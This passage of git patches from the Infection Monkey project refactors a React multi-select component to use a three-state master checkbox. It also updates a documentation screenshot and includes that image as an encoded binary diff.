faSquare; + else if (checkboxState == MasterCheckboxState.MIXED) + newCheckboxIcon = faMinusSquare; + return ( {title} @@ -77,42 +91,57 @@ function ChildCheckbox(props) { class AdvancedMultiSelect extends React.Component { constructor(props) { super(props) - this.state = {masterCheckbox: true, infoPaneParams: getDefaultPaneParams(props.schema.items.$ref, props.registry)}; + this.state = { + masterCheckboxState: this.getMasterCheckboxState(props.value), + infoPaneParams: getDefaultPaneParams(props.schema.items.$ref, props.registry) + }; this.onMasterCheckboxClick = this.onMasterCheckboxClick.bind(this); this.onChildCheckboxClick = this.onChildCheckboxClick.bind(this); this.setPaneInfo = this.setPaneInfo.bind(this, props.schema.items.$ref, props.registry); } onMasterCheckboxClick() { - if (this.state.masterCheckbox) { - this.props.onChange([]); - } else { - this.props.onChange(this.props.schema.default); + var newValues = this.props.options.enumOptions.map(({value}) => value); + + if (this.state.masterCheckboxState == MasterCheckboxState.ALL) { + newValues = []; } - this.toggleMasterCheckbox(); + this.props.onChange(newValues); + this.setMasterCheckboxState(newValues); } onChildCheckboxClick(value) { - this.props.onChange(this.getSelectValuesAfterClick(value)); + var selectValues = this.getSelectValuesAfterClick(value) + this.props.onChange(selectValues); + + this.setMasterCheckboxState(selectValues); } getSelectValuesAfterClick(clickedValue) { const valueArray = cloneDeep(this.props.value); if (valueArray.includes(clickedValue)) { - return valueArray.filter((e) => { - return e !== clickedValue; - }); + return valueArray.filter(e => e !== clickedValue); } else { valueArray.push(clickedValue); return valueArray; } } - toggleMasterCheckbox() { - this.setState((state) => ({ - masterCheckbox: !state.masterCheckbox + getMasterCheckboxState(selectValues) { + if (selectValues.length == 0) + return MasterCheckboxState.NONE; + + if (selectValues.length != this.props.options.enumOptions.length) + return MasterCheckboxState.MIXED; + + return MasterCheckboxState.ALL; + } + + setMasterCheckboxState(selectValues) { + this.setState(() => ({ + masterCheckboxState: this.getMasterCheckboxState(selectValues) })); } @@ -132,7 +161,6 @@ class AdvancedMultiSelect extends React.Component { readonly, multiple, autofocus, - onChange, registry } = this.props; @@ -143,7 +171,7 @@ class AdvancedMultiSelect extends React.Component {
+ checkboxState={this.state.masterCheckboxState}/> Date: Tue, 12 Jan 2021 15:14:29 -0500 Subject: [PATCH 106/466] ui: refactor AdvancedMultiSelect.js for readability and flow --- .../ui-components/AdvancedMultiSelect.js | 236 +++++++++--------- 1 file changed, 118 insertions(+), 118 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index db759b013..c418a20c6 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -16,6 +16,10 @@ const MasterCheckboxState = { ALL: 2 } +function getFullDefinitionByKey(refString, registry, itemKey) { + let fullArray = getFullDefinitionsFromRegistry(refString, registry); + return fullArray.filter(e => (e.enum[0] === itemKey))[0]; +} // Definitions passed to components only contains value and label, // custom fields like "info" or "links" must be pulled from registry object using this function @@ -28,16 +32,121 @@ function getObjectFromRegistryByRef(refString, registry) { return resolveObjectPath(refArray, registry); } -function getFullDefinitionByKey(refString, registry, itemKey) { - let fullArray = getFullDefinitionsFromRegistry(refString, registry); - return fullArray.filter(e => (e.enum[0] === itemKey))[0]; -} - function getDefaultPaneParams(refString, registry) { let configSection = getObjectFromRegistryByRef(refString, registry); return ({title: configSection.title, content: configSection.description}); } +class AdvancedMultiSelect extends React.Component { + constructor(props) { + super(props) + + this.state = { + masterCheckboxState: this.getMasterCheckboxState(props.value), + infoPaneParams: getDefaultPaneParams(props.schema.items.$ref, props.registry) + }; + + this.onMasterCheckboxClick = this.onMasterCheckboxClick.bind(this); + this.onChildCheckboxClick = this.onChildCheckboxClick.bind(this); + this.setPaneInfo = this.setPaneInfo.bind(this, props.schema.items.$ref, props.registry); + } + + onMasterCheckboxClick() { + let newValues = this.props.options.enumOptions.map(({value}) => value); + + if (this.state.masterCheckboxState == MasterCheckboxState.ALL) { + newValues = []; + } + + this.props.onChange(newValues); + this.setMasterCheckboxState(newValues); + } + + onChildCheckboxClick(value) { + let selectValues = this.getSelectValuesAfterClick(value) + this.props.onChange(selectValues); + + this.setMasterCheckboxState(selectValues); + } + + getSelectValuesAfterClick(clickedValue) { + const valueArray = cloneDeep(this.props.value); + + if (valueArray.includes(clickedValue)) { + return valueArray.filter(e => e !== clickedValue); + } else { + valueArray.push(clickedValue); + return valueArray; + } + } + + setMasterCheckboxState(selectValues) { + this.setState(() => ({ + masterCheckboxState: this.getMasterCheckboxState(selectValues) + })); + } + + getMasterCheckboxState(selectValues) { + if (selectValues.length == 0) { + return MasterCheckboxState.NONE; + } + + if (selectValues.length != this.props.options.enumOptions.length) { + return MasterCheckboxState.MIXED; + } + + return MasterCheckboxState.ALL; + } + + setPaneInfo(refString, registry, itemKey) { + let definitionObj = getFullDefinitionByKey(refString, registry, itemKey); + this.setState({infoPaneParams: {title: definitionObj.title, content: definitionObj.info, link: definitionObj.link}}); + } + + render() { + const { + schema, + id, + options, + value, + required, + disabled, + readonly, + multiple, + autofocus, + registry + } = this.props; + + const {enumOptions} = options; + getDefaultPaneParams(schema.items.$ref, registry); + + return ( +
+ + + { + enumOptions.map(({value, label}, i) => { + return ( + + ); + } + )} + + +
+ ); + } +} + function MasterCheckbox(props) { const { title, @@ -47,12 +156,13 @@ function MasterCheckbox(props) { checkboxState } = props; - var newCheckboxIcon = faCheckSquare; + let newCheckboxIcon = faCheckSquare; - if (checkboxState == MasterCheckboxState.NONE) + if (checkboxState == MasterCheckboxState.NONE) { newCheckboxIcon = faSquare; - else if (checkboxState == MasterCheckboxState.MIXED) + } else if (checkboxState == MasterCheckboxState.MIXED) { newCheckboxIcon = faMinusSquare; + } return ( @@ -88,114 +198,4 @@ function ChildCheckbox(props) { ); } -class AdvancedMultiSelect extends React.Component { - constructor(props) { - super(props) - this.state = { - masterCheckboxState: this.getMasterCheckboxState(props.value), - infoPaneParams: getDefaultPaneParams(props.schema.items.$ref, props.registry) - }; - this.onMasterCheckboxClick = this.onMasterCheckboxClick.bind(this); - this.onChildCheckboxClick = this.onChildCheckboxClick.bind(this); - this.setPaneInfo = this.setPaneInfo.bind(this, props.schema.items.$ref, props.registry); - } - - onMasterCheckboxClick() { - var newValues = this.props.options.enumOptions.map(({value}) => value); - - if (this.state.masterCheckboxState == MasterCheckboxState.ALL) { - newValues = []; - } - - this.props.onChange(newValues); - this.setMasterCheckboxState(newValues); - } - - onChildCheckboxClick(value) { - var selectValues = this.getSelectValuesAfterClick(value) - this.props.onChange(selectValues); - - this.setMasterCheckboxState(selectValues); - } - - getSelectValuesAfterClick(clickedValue) { - const valueArray = cloneDeep(this.props.value); - - if (valueArray.includes(clickedValue)) { - return valueArray.filter(e => e !== clickedValue); - } else { - valueArray.push(clickedValue); - return valueArray; - } - } - - getMasterCheckboxState(selectValues) { - if (selectValues.length == 0) - return MasterCheckboxState.NONE; - - if (selectValues.length != this.props.options.enumOptions.length) - return MasterCheckboxState.MIXED; - - return MasterCheckboxState.ALL; - } - - setMasterCheckboxState(selectValues) { - this.setState(() => ({ - masterCheckboxState: this.getMasterCheckboxState(selectValues) - })); - } - - setPaneInfo(refString, registry, itemKey) { - let definitionObj = getFullDefinitionByKey(refString, registry, itemKey); - this.setState({infoPaneParams: {title: definitionObj.title, content: definitionObj.info, link: definitionObj.link}}); - } - - render() { - const { - schema, - id, - options, - value, - required, - disabled, - readonly, - multiple, - autofocus, - registry - } = this.props; - - const {enumOptions} = options; - getDefaultPaneParams(schema.items.$ref, registry); - - return ( -
- - - { - enumOptions.map(({value, label}, i) => { - return ( - - ); - } - )} - - -
- ); - } -} - export default AdvancedMultiSelect; From 819e1778c854c36171f25bf862cdcccbc29e4e70 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 12 Jan 2021 15:25:23 -0500 Subject: [PATCH 107/466] docs: Update network-breach.PNG with mixed-state Exploiters checkbox --- .../images/usage/use-cases/network-breach.PNG | Bin 88525 -> 103676 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/docs/static/images/usage/use-cases/network-breach.PNG b/docs/static/images/usage/use-cases/network-breach.PNG index 5dfd38ffbbf2471af19e874cd63e75664e4ec8cb..871a36bb67f258057fa58868052b4c0ed443e780 100644 GIT binary patch literal 103676 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 